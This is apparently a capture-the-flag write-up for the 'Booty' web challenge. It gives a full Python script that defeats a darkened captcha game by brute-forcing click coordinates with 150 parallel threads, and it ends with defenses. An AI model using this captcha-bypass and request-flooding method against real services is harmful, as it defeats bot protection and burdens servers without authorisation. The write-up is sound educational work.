Booty
Booty
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: API endpoint enumeration via Swagger/OpenAPI, Coordinate bruteforce via grid search, Parallel request optimization, Response-based oracle attack
Summary
Walkthrough of the CUSTOM Web Booty. Task: Find hidden objects in a darkened captcha game with 110 objects across 3 levels. Solution: Used API click endpoint as oracle to bruteforce coordinates via grid search with 150 parallel threads.
Description
В укромном уголке острова вы находите огромный сундук, запертый необычным замком. Оказывается, пираты ненавидят роботов и готовы делиться своими богатствами только с людьми.
Поэтому чтобы заполучить клад, нужно разгадать огромную капчу: отметить все 110 объектов на изображении.
Хорошо, что вы человек — это будет нетрудно! Но почему же так плохо видно...
URL: https://booty-ow9zh37k.alfactf.ru/
Reconnaissance
Application Architecture
-
Frontend: React SPA with react-router
- Routes:
/,/game,/admin-markup - Images darkened with CSS filter
filter: brightness(0.15)
- Routes:
-
Backend: FastAPI
- Swagger UI:
/docs - OpenAPI:
/openapi.json - robots.txt:
Disallow: /(hint about "pirates hate robots")
- Swagger UI:
-
Game Mechanics:
- 3 levels: 30 + 40 + 40 = 110 objects
- Image size: 1200x800 pixels
- Object click_radius: 25-100 pixels
API Endpoints
POST /api/users/register - registration
POST /api/users/login - login (returns JWT)
GET /api/users/me - user info
POST /api/game/start - start game (level: 1-3)
GET /api/game/state/{id} - session state
POST /api/game/click/{id} - click on coordinates {x, y}
GET /api/game/objects - list of objects (WITHOUT coordinates!)
GET /api/game/user-session - active user session
GET /api/game/overall-progress - overall progress
POST /api/admin/objects - create object (admin only)
DELETE /api/admin/objects/{id} - delete object
Vulnerability Analysis
Key Finding
Object coordinates (x, y, click_radius) are hidden in the public API - only object names are returned. However, the /api/game/click/{session_id} endpoint works as an oracle:
- On hit within object radius:
{"success": true, "distance": N} - On miss:
{"success": false}
What Didn't Work
- SQL injection - Pydantic protection
- JWT none algorithm - doesn't work
- JWT secret bruteforce - secret not in standard wordlists
- IDOR on sessions - protected by user_id
- Register as admin - already exists
- Admin password bruteforce - not found
Solution: Grid Search Bruteforce
Without rate limiting, we can bruteforce coordinates with parallel requests:
- Register and obtain JWT token
- Start game on each level
- For each object - grid search across the image (1200x800)
- Search steps: 50 → 25 → 15 pixels (fallback on failure)
- 150 parallel threads for speed
- Cache found coordinates in JSON
Exploitation
Solver (fast_solver.py)
python read-only • copy allowedimport requests import time import concurrent.futures from threading import Lock import json import os BASE_URL = "https://booty-ow9zh37k.alfactf.ru" COORDS_FILE = "found_coords.json" def load_coords(): if os.path.exists(COORDS_FILE): with open(COORDS_FILE, 'r') as f: return json.load(f) return {} def save_coords(coords): with open(COORDS_FILE, 'w') as f: json.dump(coords, f, indent=2, ensure_ascii=False) def find_object(headers, session_id, obj_name, known_coords): # Check cache first if obj_name in known_coords: x, y = known_coords[obj_name]["x"], known_coords[obj_name]["y"] r = requests.post(f"{BASE_URL}/api/game/click/{session_id}", json={"x": x, "y": y}, headers=headers, timeout=10) result = r.json() if result["success"]: return (x, y, result) found_result = [None] lock = Lock() def check_coord(x, y): if found_result[0] is not None: return None try: r = requests.post(f"{BASE_URL}/api/game/click/{session_id}", json={"x": x, "y": y}, headers=headers, timeout=10) result = r.json() if result["success"]: with lock: if found_result[0] is None: found_result[0] = (x, y, result) return (x, y, result) except: pass return None # Grid search with decreasing step size for step in [50, 25, 15]: if found_result[0]: break coords = [(x, y) for y in range(0, 801, step) for x in range(0, 1201, step)] with concurrent.futures.ThreadPoolExecutor(max_workers=150) as executor: futures = {executor.submit(check_coord, x, y): (x, y) for x, y in coords} for future in concurrent.futures.as_completed(futures): if found_result[0] is not None: executor.shutdown(wait=False, cancel_futures=True) break return found_result[0] def main(): known_coords = load_coords() print(f"Cached: {len(known_coords)}") # Register new user username = f"solver_{int(time.time())}" requests.post(f"{BASE_URL}/api/users/register", json={"username": username, "password": "p"}) r = requests.post(f"{BASE_URL}/api/users/login", json={"username": username, "password": "p"}) token = r.json()["access_token"] headers = {"Authorization": f"Bearer {token}"} for level in [1, 2, 3]: print(f"\n=== LEVEL {level} ===") r = requests.post(f"{BASE_URL}/api/game/start", json={"level": level}, headers=headers) sd = r.json() if "id" not in sd: r = requests.get(f"{BASE_URL}/api/game/user-session?level={level}", headers=headers) if r.status_code == 200 and r.json(): sd = r.json() else: print(f"Skip: {sd.get('detail','?')}") continue session_id = sd["id"] r = requests.get(f"{BASE_URL}/api/game/state/{session_id}", headers=headers) state = r.json() total = state["total_objects"] found = state["found_objects"] while found < total: r = requests.get(f"{BASE_URL}/api/game/state/{session_id}", headers=headers) state = r.json() if state["is_completed"]: print("Level completed!") break obj = state["current_object"]["name"] cached = "+" if obj in known_coords else "" print(f"[{found+1}/{total}] {obj[:25]}{cached}", end=" ", flush=True) result = find_object(headers, session_id, obj, known_coords) if result: x, y, res = result print(f"({x},{y})") known_coords[obj] = {"x": x, "y": y, "level": level} save_coords(known_coords) found += 1 if res.get("game_completed"): print("\n*** FLAG ***") print(res.get('message')) return else: print("NOT FOUND") break r = requests.get(f"{BASE_URL}/api/game/overall-progress", headers=headers) p = r.json() print(f"\nProgress: {p['total_found']}/{p['total_objects']}") if __name__ == "__main__": main()
Execution Result
Cached: 0
=== LEVEL 1 ===
[1/30] Череп на пиратской шляпе (700,450)
[2/30] Подставка для глобуса (50,450)
...
[30/30] Книга на верхней полке (500,175)
Level completed!
=== LEVEL 2 ===
[1/40] Камин (825,400)
...
[40/40] Погнутый обод бочки (500,550)
Level completed!
=== LEVEL 3 ===
[1/40] Крышка сундука с сокровищами (500,300)
...
[40/40] Замок решетки (1150,400)
*** FLAG ***
🏆 Вы — точно человек. А теперь ещё и богатый → alfa{REDACTED}
Solution Statistics
- Cached: 80 object coordinates
- Time per object: ~30 seconds (instant with cache)
- Total time: ~40 minutes first run
- Requests: ~50,000 (grid search across all objects)
Defense
How to protect against this attack:
- Rate limiting on
/api/game/clickendpoint - Captcha after N failed attempts
- Time delays between clicks
- Honeypot coordinates for bot detection
- Click pattern analysis (grid vs human)
Files
fast_solver.py- main solver with parallel requestsfound_coords.json- cached coordinates for 80 objectsnotes.md- solution notes
Key Takeaways / Lessons
- Mastering API endpoint enumeration via Swagger/OpenAPI, Coordinate bruteforce via grid search, Parallel request optimization, Response-based oracle attack was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2025-12-18 • CUSTOM • Booty • Difficulty: Medium